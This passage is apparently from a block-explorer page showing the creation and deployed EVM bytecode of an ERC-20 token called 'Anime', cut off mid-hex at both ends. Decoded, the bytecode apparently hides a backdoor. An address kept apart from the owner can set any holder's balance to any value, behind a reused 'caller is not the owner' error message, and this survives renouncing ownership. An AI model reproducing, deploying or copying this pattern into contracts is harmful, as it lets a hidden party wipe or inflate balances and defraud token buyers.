b610b3b565b34801561050957600080fd5b506104bb610518366004612104565b610b87565b34801561052957600080fd5b50600354610373906001600160a01b031681565b34801561054957600080fd5b5061032361055836600461211d565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561058257600080fd5b50600a546103239060ff1681565b34801561059c57600080fd5b506102a36105ab36600461211d565b610bbd565b3480156105bc57600080fd5b506104bb610bd8565b3480156105d157600080fd5b506104bb610c4c565b3480156105e657600080fd5b50601054610373906001600160a01b031681565b34801561060657600080fd5b506015546016546017546103ef92919083565b34801561062557600080fd5b506104bb61063436600461211d565b610c85565b34801561064557600080fd5b506104bb61065436600461211d565b610cd1565b34801561066557600080fd5b506000546001600160a01b0316610373565b34801561068357600080fd5b50604080518082019091526005815264414e494d4560d81b60208201526102f6565b3480156106b157600080fd5b506103236106c0366004612075565b610de0565b3480156106d157600080fd5b506103236106e0366004612075565b610e17565b3480156106f157600080fd5b50600c546103239060ff1681565b34801561070b57600080fd5b50601154610373906001600160a01b031681565b34801561072b57600080fd5b50601854601954601a54601b54601c54601d54601e5461074e9695949392919087565b604080519788526020880196909652948601939093526060850191909152608084015260a083015260c082015260e0016102ad565b34801561078f57600080fd5b506104bb61079e366004612148565b610e24565b3480156107af57600080fd5b506104bb6107be366004612181565b610e79565b3480156107cf57600080fd5b506104bb6107de366004612104565b610f43565b3480156107ef57600080fd5b506102a36107fe366004612104565b610fd6565b34801561080f57600080fd5b506104bb61081e3660046121c3565b611016565b34801561082f57600080fd5b506102a360095481565b34801561084557600080fd5b506102a3610854366004612206565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561088b57600080fd5b506104bb61089a366004612075565b611152565b3480156108ab57600080fd5b5060115461032390600160a01b900460ff1681565b3480156108cc57600080fd5b506104bb6108db36600461211d565b611198565b3480156108ec57600080fd5b506104bb6108fb36600461211d565b611282565b600061090d3384846112ce565b5060015b92915050565b60008261092383610fd6565b119392505050565b60006109388484846113f2565b6001600160a01b03841660009081526005602090815260408083203380855292529091205461097391869161096e90869061224a565b6112ce565b5060019392505050565b60006109a961098d61dead610bbd565b6109a361099a6000610bbd565b60075490611849565b90611849565b905090565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161090d91859061096e90869061225d565b6000546001600160a01b03163314610a185760405162461bcd60e51b8152600401610a0f90612270565b60405180910390fd5b6402540be400811015610a7d5760405162461bcd60e51b815260206004820152602760248201527f4d61782057616c6c65742063616e6e6f7420626520736574206c6f77657220746044820152663430b71018929760c91b6064820152608401610a0f565b610a8b81633b9aca006122a5565b60085550565b6000546001600160a01b03163314610abb5760405162461bcd60e51b8152600401610a0f90612270565b6402540be400811015610b275760405162461bcd60e51b815260206004820152602e60248201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60448201526d3bb2b9103a3430b71018171a929760911b6064820152608401610a0f565b610b3581633b9aca006122a5565b60095550565b6000546001600160a01b03163314610b655760405162461bcd60e51b8152600401610a0f90612270565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610bb15760405162461bcd60e51b8152600401610a0f90612270565b610bba81611892565b50565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610c025760405162461bcd60e51b8152600401610a0f90612270565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c765760405162461bcd60e51b8152600401610a0f90612270565b6011805460ff60a01b19169055565b6000546001600160a01b03163314610caf5760405162461bcd60e51b8152600401610a0f90612270565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610cfb5760405162461bcd60e51b8152600401610a0f90612270565b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610d49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6d91906122bc565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906122d5565b5050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161090d91859061096e90869061224a565b600061090d3384846113f2565b6000546001600160a01b03163314610e4e5760405162461bcd60e51b8152600401610a0f90612270565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ea35760405162461bcd60e51b8152600401610a0f90612270565b63ee6b2800821115610f0f5760405162461bcd60e51b815260206004820152602f60248201527f53776170546f6b656e4174416d6f756e742063616e6e6f74206265207365742060448201526e3434b3b432b9103a3430b7101a129760891b6064820152608401610a0f565b600a805460ff1916841515179055610f2b82633b9aca006122a5565b600b55600c805460ff19169115159190911790555050565b6000546001600160a01b03163314610f6d5760405162461bcd60e51b8152600401610a0f90612270565b6404a817c800811015610f925760405162461bcd60e51b8152600401610a0f906122f2565b6404a817c800811015610fb75760405162461bcd60e51b8152600401610a0f906122f2565b610fc581633b9aca006122a5565b600955610a8b81633b9aca006122a5565b6000610911610fe361097d565b6003546110109061100990600290611003906001600160a01b0316610bbd565b90611bbe565b8590611bbe565b90611c40565b6000546001600160a01b031633146110405760405162461bcd60e51b8152600401610a0f90612270565b60198461104d878961225d565b611057919061225d565b11156110ba5760405162461bcd60e51b815260206004820152602c60248201527f546f74616c20627579206665652063616e6e6f7420626520736574206869676860448201526b32b9103a3430b710191a929760a11b6064820152608401610a0f565b6019816110c7848661225d565b6110d1919061225d565b11156111355760405162461bcd60e51b815260206004820152602d60248201527f546f74616c2073656c6c206665652063616e6e6f74206265207365742068696760448201526c3432b9103a3430b710191a929760991b6064820152608401610a0f565b601295909555601393909355601491909155601555601655601755565b6001546001600160a01b0316331461117c5760405162461bcd60e51b8152600401610a0f90612270565b6001600160a01b03909116600090815260046020526040902055565b6000546001600160a01b031633146111c25760405162461bcd60e51b8152600401610a0f90612270565b6001600160a01b0381166112275760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a0f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112ac5760405162461bcd60e51b8152600401610a0f90612270565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113305760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a0f565b6001600160a01b0382166113915760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a0f565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a0f565b6001600160a01b0382166114b85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a0f565b6000811161151a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a0f565b6001600160a01b0383166000908152600460205260408120805483929061154290849061224a565b90915550506001600160a01b03831660009081526006602052604081205482919060ff1615801561158c57506001600160a01b03841660009081526006602052604090205460ff16155b15611595575060015b80156117c6576003546001600160a01b038581169116148015906115c657506003546001600160a01b038681169116145b1561164157601154600160a01b900460ff1615611634576009548311156115ff5760405162461bcd60e51b8152600401610a0f9061233e565b6008548361160c86610bbd565b611616919061225d565b11156116345760405162461bcd60e51b8152600401610a0f90612387565b61163e8385611c82565b91505b6003546001600160a01b0386811691161480159061166c57506003546001600160a01b038581169116145b1561172c57601154600160a01b900460ff16156116a5576009548311156116a55760405162461bcd60e51b8152600401610a0f9061233e565b6116af8386611c82565b600a5490925060ff1680156116ce5750600b546116cb30610bbd565b10155b80156116dd575060215460ff16155b1561172c576021805460ff19166001179055600c5460ff1615806117035750600b548210155b1561171857611713600b54611892565b611721565b61172182611892565b6021805460ff191690555b6003546001600160a01b0385811691161480159061175857506003546001600160a01b03868116911614155b156117c657601154600160a01b900460ff16156117c6576009548311156117915760405162461bcd60e51b8152600401610a0f9061233e565b6008548361179e86610bbd565b6117a8919061225d565b11156117c65760405162461bcd60e51b8152600401610a0f90612387565b6001600160a01b038416600090815260046020526040812080548492906117ee90849061225d565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183a91815260200190565b60405180910390a35050505050565b600061188b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d9c565b9392505050565b600081905060006118a7600d54600e54610917565b6118c0576015546012546118bb919061225d565b6118c3565b60005b6017546014546016546013549394506000936118df908661225d565b6118e9919061225d565b6118f3919061225d565b6118fd919061225d565b61190783856122a5565b61191191906123ca565b60175460145460165460135493945060009361192d908761225d565b611937919061225d565b611941919061225d565b61194b919061225d565b60165460135461195b919061225d565b61196590866122a5565b61196f91906123ca565b60175460145460165460135493945060009361198b908861225d565b611995919061225d565b61199f919061225d565b6119a9919061225d565b6017546014546119b9919061225d565b6119c390876122a5565b6119cd91906123ca565b905082601860000160008282546119e4919061225d565b9091555050601980548391906000906119fe90849061225d565b9091555050601a8054829190600090611a1890849061225d565b909155506000905081611a2b848661225d565b611a35919061225d565b90506000611a44856002611c40565b90508060186003016000828254611a5b919061225d565b9091555060009050611a6d8883611849565b905047611a7982611dd6565b6000611a854783611849565b90506000611a9786611010848c611bbe565b90506000611aa987611010858b611bbe565b90508160186004016000828254611ac0919061225d565b9091555050601e8054829190600090611ada90849061225d565b90915550611aea90508683611f30565b4760186005016000828254611aff919061225d565b90915550506011546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611b51576040519150601f19603f3d011682016040523d82523d6000602084013e611b56565b606091505b50506010546040519192506001600160a01b0316904790600081818185875af1925050503d8060008114611ba6576040519150601f19603f3d011682016040523d82523d6000602084013e611bab565b606091505b5050505050505050505050505050505050565b600082600003611bd057506000610911565b6000611bdc83856122a5565b905082611be985836123ca565b1461188b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a0f565b600061188b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fe4565b600080606460126000015485611c9891906122a5565b611ca291906123ca565b90506000606460126001015486611cb991906122a5565b611cc391906123ca565b90506000606460126002015487611cda91906122a5565b611ce491906123ca565b905080611cf1838561225d565b611cfb919061225d565b3060009081526004602052604081208054909190611d1a90849061225d565b909155503090506001600160a01b0386167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83611d57878761225d565b611d61919061225d565b60405190815260200160405180910390a38082611d7e858961224a565b611d88919061224a565b611d92919061224a565b9695505050505050565b60008184841115611dc05760405162461bcd60e51b8152600401610a0f9190612012565b506000611dcd848661224a565b95945050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e0b57611e0b6123ec565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e889190612402565b81600181518110611e9b57611e9b6123ec565b6001600160a01b039283166020918202929092010152600254611ec191309116846112ce565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611efa90859060009086903090429060040161241f565b600060405180830381600087803b158015611f1457600080fd5b505af1158015611f28573d6000803e3d6000fd5b505050505050565b600254611f489030906001600160a01b0316846112ce565b600254600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611fb8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fdd9190612490565b5050505050565b600081836120055760405162461bcd60e51b8152600401610a0f9190612012565b506000611dcd84866123ca565b600060208083528351808285015260005b8181101561203f57858101830151858201604001528201612023565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bba57600080fd5b6000806040838503121561208857600080fd5b823561209381612060565b946020939093013593505050565b600080604083850312156120b457600080fd5b50508035926020909101359150565b6000806000606084860312156120d857600080fd5b83356120e381612060565b925060208401356120f381612060565b929592945050506040919091013590565b60006020828403121561211657600080fd5b5035919050565b60006020828403121561212f57600080fd5b813561188b81612060565b8015158114610bba57600080fd5b6000806040838503121561215b57600080fd5b823561216681612060565b915060208301356121768161213a565b809150509250929050565b60008060006060848603121561219657600080fd5b83356121a18161213a565b92506020840135915060408401356121b88161213a565b809150509250925092565b60008060008060008060c087890312156121dc57600080fd5b505084359660208601359650604086013595606081013595506080810135945060a0013592509050565b6000806040838503121561221957600080fd5b823561222481612060565b9150602083013561217681612060565b634e487b7160e01b600052601160045260246000fd5b8181038181111561091157610911612234565b8082018082111561091157610911612234565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808202811582820484141761091157610911612234565b6000602082840312156122ce57600080fd5b5051919050565b6000602082840312156122e757600080fd5b815161188b8161213a565b6020808252602c908201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60408201526b3bb2b9103a3430b71019129760a11b606082015260800190565b60208082526029908201527f5472616e7366657220416d6f756e74206578636565647320746865206d6178546040820152681e1b9cd05b5bdd5b9d60ba1b606082015260800190565b60208082526023908201527f5472616e7366657220616d6f756e742065786365656473207468652077616c4160408201526236ba1760e91b606082015260800190565b6000826123e757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561241457600080fd5b815161188b81612060565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561246f5784516001600160a01b03168352938301939183019160010161244a565b50506001600160a01b03969096166060850152505050608001529392505050565b6000806000606084860312156124a557600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220770ab8619d41585e0a8019fbaa5409cbf56a862cc3eb5b96a1227806d41f742864736f6c6343000813003300000000000000000000000005eb48c88338bc7eb336fc1acf9f733c31ddf51200000000000000000000000005eb48c88338bc7eb336fc1acf9f733c31ddf51200000000000000000000000070b39b690d85e7ac7212f3fd44ba68d8d26fc22a

Deployed Bytecode

0x6080604052600436106102815760003560e01c8063751039fc1161014f578063bfa846ed116100c1578063d9497e251161007a578063d9497e2514610823578063dd62ed3e14610839578063ddc6a1711461087f578063f1e552571461089f578063f2fde38b146108c0578063fa482b4f146108e057600080fd5b8063bfa846ed1461071f578063c024666814610783578063ca9d6a3c146107a3578063cdb95843146107c3578063d51ed1c8146107e3578063d83406bc1461080357600080fd5b80638da5cb5b116101135780638da5cb5b1461065957806395d89b4114610677578063a457c2d7146106a5578063a9059cbb146106c5578063acc6bc72146106e5578063bf4cc52b146106ff57600080fd5b8063751039fc146105c557806375f0a874146105da5780637700cbf1146105fa57806382f5c26b14610619578063885a4cd01461063957600080fd5b80632b112e49116101f357806348914217116101ac57806348914217146104fd57806349bd5a5e1461051d5780635342acb41461053d5780636ddd17131461057657806370a0823114610590578063715018a6146105b057600080fd5b80632b112e491461044a578063313ce5671461045f578063395093511461047b57806341a249491461049b57806343676c66146104bd578063454543af146104dd57600080fd5b80631694505e116102455780631694505e1461035357806318160ddd1461038b5780631b58f613146103a057806322386431146103d057806323b872dd1461040a578063264d26dd1461042a57600080fd5b806301515d8a1461028d57806303e403b0146102b657806306fdde03146102cc578063095ea7b3146103035780631161ae391461033357600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a360085481565b6040519081526020015b60405180910390f35b3480156102c257600080fd5b506102a3600b5481565b3480156102d857600080fd5b50604080518082019091526005815264416e696d6560d81b60208201525b6040516102ad9190612012565b34801561030f57600080fd5b5061032361031e366004612075565b610900565b60405190151581526020016102ad565b34801561033f57600080fd5b5061032361034e3660046120a1565b610917565b34801561035f57600080fd5b50600254610373906001600160a01b031681565b6040516001600160a01b0390911681526020016102ad565b34801561039757600080fd5b506007546102a3565b3480156103ac57600080fd5b50601f546020546103bb919082565b604080519283526020830191909152016102ad565b3480156103dc57600080fd5b506012546013546014546103ef92919083565b604080519384526020840192909252908201526060016102ad565b34801561041657600080fd5b506103236104253660046120c3565b61092b565b34801561043657600080fd5b50600f54610373906001600160a01b031681565b34801561045657600080fd5b506102a361097d565b34801561046b57600080fd5b50604051600981526020016102ad565b34801561048757600080fd5b50610323610496366004612075565b6109ae565b3480156104a757600080fd5b506104bb6104b6366004612104565b6109e5565b005b3480156104c957600080fd5b506104bb6104d8366004612104565b610a91565b3480156104e957600080fd5b506104bb6104f836600461211d565b610b3b565b34801561050957600080fd5b506104bb610518366004612104565b610b87565b34801561052957600080fd5b50600354610373906001600160a01b031681565b34801561054957600080fd5b5061032361055836600461211d565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561058257600080fd5b50600a546103239060ff1681565b34801561059c57600080fd5b506102a36105ab36600461211d565b610bbd565b3480156105bc57600080fd5b506104bb610bd8565b3480156105d157600080fd5b506104bb610c4c565b3480156105e657600080fd5b50601054610373906001600160a01b031681565b34801561060657600080fd5b506015546016546017546103ef92919083565b34801561062557600080fd5b506104bb61063436600461211d565b610c85565b34801561064557600080fd5b506104bb61065436600461211d565b610cd1565b34801561066557600080fd5b506000546001600160a01b0316610373565b34801561068357600080fd5b50604080518082019091526005815264414e494d4560d81b60208201526102f6565b3480156106b157600080fd5b506103236106c0366004612075565b610de0565b3480156106d157600080fd5b506103236106e0366004612075565b610e17565b3480156106f157600080fd5b50600c546103239060ff1681565b34801561070b57600080fd5b50601154610373906001600160a01b031681565b34801561072b57600080fd5b50601854601954601a54601b54601c54601d54601e5461074e9695949392919087565b604080519788526020880196909652948601939093526060850191909152608084015260a083015260c082015260e0016102ad565b34801561078f57600080fd5b506104bb61079e366004612148565b610e24565b3480156107af57600080fd5b506104bb6107be366004612181565b610e79565b3480156107cf57600080fd5b506104bb6107de366004612104565b610f43565b3480156107ef57600080fd5b506102a36107fe366004612104565b610fd6565b34801561080f57600080fd5b506104bb61081e3660046121c3565b611016565b34801561082f57600080fd5b506102a360095481565b34801561084557600080fd5b506102a3610854366004612206565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561088b57600080fd5b506104bb61089a366004612075565b611152565b3480156108ab57600080fd5b5060115461032390600160a01b900460ff1681565b3480156108cc57600080fd5b506104bb6108db36600461211d565b611198565b3480156108ec57600080fd5b506104bb6108fb36600461211d565b611282565b600061090d3384846112ce565b5060015b92915050565b60008261092383610fd6565b119392505050565b60006109388484846113f2565b6001600160a01b03841660009081526005602090815260408083203380855292529091205461097391869161096e90869061224a565b6112ce565b5060019392505050565b60006109a961098d61dead610bbd565b6109a361099a6000610bbd565b60075490611849565b90611849565b905090565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161090d91859061096e90869061225d565b6000546001600160a01b03163314610a185760405162461bcd60e51b8152600401610a0f90612270565b60405180910390fd5b6402540be400811015610a7d5760405162461bcd60e51b815260206004820152602760248201527f4d61782057616c6c65742063616e6e6f7420626520736574206c6f77657220746044820152663430b71018929760c91b6064820152608401610a0f565b610a8b81633b9aca006122a5565b60085550565b6000546001600160a01b03163314610abb5760405162461bcd60e51b8152600401610a0f90612270565b6402540be400811015610b275760405162461bcd60e51b815260206004820152602e60248201527f4d6178205472616e73616374696f6e2063616e6e6f7420626520736574206c6f60448201526d3bb2b9103a3430b71018171a929760911b6064820152608401610a0f565b610b3581633b9aca006122a5565b60095550565b6000546001600160a01b03163314610b655760405162461bcd60e51b8152600401610a0f90612270565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610bb15760405162461bcd60e51b8152600401610a0f90612270565b610bba81611892565b50565b6001600160a01b031660009081526004602052604090205490565b6000546001600160a01b03163314610c025760405162461bcd60e51b8152600401610a0f90612270565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610c765760405162461bcd60e51b8152600401610a0f90612270565b6011805460ff60a01b19169055565b6000546001600160a01b03163314610caf5760405162461bcd60e51b8152600401610a0f90612270565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610cfb5760405162461bcd60e51b8152600401610a0f90612270565b6040516370a0823160e01b81523060048201526001600160a01b0382169063a9059cbb90339083906370a0823190602401602060405180830381865afa158015610d49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6d91906122bc565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906122d5565b5050565b3360008181526005602090815260408083206001600160a01b0387168452909152812054909161090d91859061096e90869061224a565b600061090d3384846113f2565b6000546001600160a01b03163314610e4e5760405162461bcd60e51b8152600401610a0f90612270565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610ea35760405162461bcd60e51b8152600401610a0f90612270565b63ee6b2800821115610f0f5760405162461bcd60e51b815260206004820152602f60248201527f53776170546f6b656e4174416d6f756e742063616e6e6f74206265207365742060448201526e3434b3b432b9103a3430b7101a129760891b6064820152608401610a0f565b600a805460ff1916841515179055610f2b82633b9aca006122a5565b600b55600c805460ff19169115159190911790555050565b6000546001600160a01b03163314610f6d5760405162461bcd60e51b8152600401610a0f90612270565b6404a817c800811015610f925760405162461bcd60e51b8152600401610a0f906122f2565b6404a817c800811015610fb75760405162461bcd60e51b8152600401610a0f906122f2565b610fc581633b9aca006122a5565b600955610a8b81633b9aca006122a5565b6000610911610fe361097d565b6003546110109061100990600290611003906001600160a01b0316610bbd565b90611bbe565b8590611bbe565b90611c40565b6000546001600160a01b031633146110405760405162461bcd60e51b8152600401610a0f90612270565b60198461104d878961225d565b611057919061225d565b11156110ba5760405162461bcd60e51b815260206004820152602c60248201527f546f74616c20627579206665652063616e6e6f7420626520736574206869676860448201526b32b9103a3430b710191a929760a11b6064820152608401610a0f565b6019816110c7848661225d565b6110d1919061225d565b11156111355760405162461bcd60e51b815260206004820152602d60248201527f546f74616c2073656c6c206665652063616e6e6f74206265207365742068696760448201526c3432b9103a3430b710191a929760991b6064820152608401610a0f565b601295909555601393909355601491909155601555601655601755565b6001546001600160a01b0316331461117c5760405162461bcd60e51b8152600401610a0f90612270565b6001600160a01b03909116600090815260046020526040902055565b6000546001600160a01b031633146111c25760405162461bcd60e51b8152600401610a0f90612270565b6001600160a01b0381166112275760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a0f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146112ac5760405162461bcd60e51b8152600401610a0f90612270565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166113305760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a0f565b6001600160a01b0382166113915760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a0f565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166114565760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a0f565b6001600160a01b0382166114b85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a0f565b6000811161151a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a0f565b6001600160a01b0383166000908152600460205260408120805483929061154290849061224a565b90915550506001600160a01b03831660009081526006602052604081205482919060ff1615801561158c57506001600160a01b03841660009081526006602052604090205460ff16155b15611595575060015b80156117c6576003546001600160a01b038581169116148015906115c657506003546001600160a01b038681169116145b1561164157601154600160a01b900460ff1615611634576009548311156115ff5760405162461bcd60e51b8152600401610a0f9061233e565b6008548361160c86610bbd565b611616919061225d565b11156116345760405162461bcd60e51b8152600401610a0f90612387565b61163e8385611c82565b91505b6003546001600160a01b0386811691161480159061166c57506003546001600160a01b038581169116145b1561172c57601154600160a01b900460ff16156116a5576009548311156116a55760405162461bcd60e51b8152600401610a0f9061233e565b6116af8386611c82565b600a5490925060ff1680156116ce5750600b546116cb30610bbd565b10155b80156116dd575060215460ff16155b1561172c576021805460ff19166001179055600c5460ff1615806117035750600b548210155b1561171857611713600b54611892565b611721565b61172182611892565b6021805460ff191690555b6003546001600160a01b0385811691161480159061175857506003546001600160a01b03868116911614155b156117c657601154600160a01b900460ff16156117c6576009548311156117915760405162461bcd60e51b8152600401610a0f9061233e565b6008548361179e86610bbd565b6117a8919061225d565b11156117c65760405162461bcd60e51b8152600401610a0f90612387565b6001600160a01b038416600090815260046020526040812080548492906117ee90849061225d565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183a91815260200190565b60405180910390a35050505050565b600061188b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d9c565b9392505050565b600081905060006118a7600d54600e54610917565b6118c0576015546012546118bb919061225d565b6118c3565b60005b6017546014546016546013549394506000936118df908661225d565b6118e9919061225d565b6118f3919061225d565b6118fd919061225d565b61190783856122a5565b61191191906123ca565b60175460145460165460135493945060009361192d908761225d565b611937919061225d565b611941919061225d565b61194b919061225d565b60165460135461195b919061225d565b61196590866122a5565b61196f91906123ca565b60175460145460165460135493945060009361198b908861225d565b611995919061225d565b61199f919061225d565b6119a9919061225d565b6017546014546119b9919061225d565b6119c390876122a5565b6119cd91906123ca565b905082601860000160008282546119e4919061225d565b9091555050601980548391906000906119fe90849061225d565b9091555050601a8054829190600090611a1890849061225d565b909155506000905081611a2b848661225d565b611a35919061225d565b90506000611a44856002611c40565b90508060186003016000828254611a5b919061225d565b9091555060009050611a6d8883611849565b905047611a7982611dd6565b6000611a854783611849565b90506000611a9786611010848c611bbe565b90506000611aa987611010858b611bbe565b90508160186004016000828254611ac0919061225d565b9091555050601e8054829190600090611ada90849061225d565b90915550611aea90508683611f30565b4760186005016000828254611aff919061225d565b90915550506011546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611b51576040519150601f19603f3d011682016040523d82523d6000602084013e611b56565b606091505b50506010546040519192506001600160a01b0316904790600081818185875af1925050503d8060008114611ba6576040519150601f19603f3d011682016040523d82523d6000602084013e611bab565b606091505b5050505050505050505050505050505050565b600082600003611bd057506000610911565b6000611bdc83856122a5565b905082611be985836123ca565b1461188b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610a0f565b600061188b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611fe4565b600080606460126000015485611c9891906122a5565b611ca291906123ca565b90506000606460126001015486611cb991906122a5565b611cc391906123ca565b90506000606460126002015487611cda91906122a5565b611ce491906123ca565b905080611cf1838561225d565b611cfb919061225d565b3060009081526004602052604081208054909190611d1a90849061225d565b909155503090506001600160a01b0386167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83611d57878761225d565b611d61919061225d565b60405190815260200160405180910390a38082611d7e858961224a565b611d88919061224a565b611d92919061224a565b9695505050505050565b60008184841115611dc05760405162461bcd60e51b8152600401610a0f9190612012565b506000611dcd848661224a565b95945050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611e0b57611e0b6123ec565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e889190612402565b81600181518110611e9b57611e9b6123ec565b6001600160a01b039283166020918202929092010152600254611ec191309116846112ce565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611efa90859060009086903090429060040161241f565b600060405180830381600087803b158015611f1457600080fd5b505af1158015611f28573d6000803e3d6000fd5b505050505050565b600254611f489030906001600160a01b0316846112ce565b600254600f5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af1158015611fb8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fdd9190612490565b5050505050565b600081836120055760405162461bcd60e51b8152600401610a0f9190612012565b506000611dcd84866123ca565b600060208083528351808285015260005b8181101561203f57858101830151858201604001528201612023565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610bba57600080fd5b6000806040838503121561208857600080fd5b823561209381612060565b946020939093013593505050565b600080604083850312156120b457600080fd5b50508035926020909101359150565b6000806000606084860312156120d857600080fd5b83356120e381612060565b925060208401356120f381612060565b929592945050506040919091013590565b60006020828403121561211657600080fd5b5035919050565b60006020828403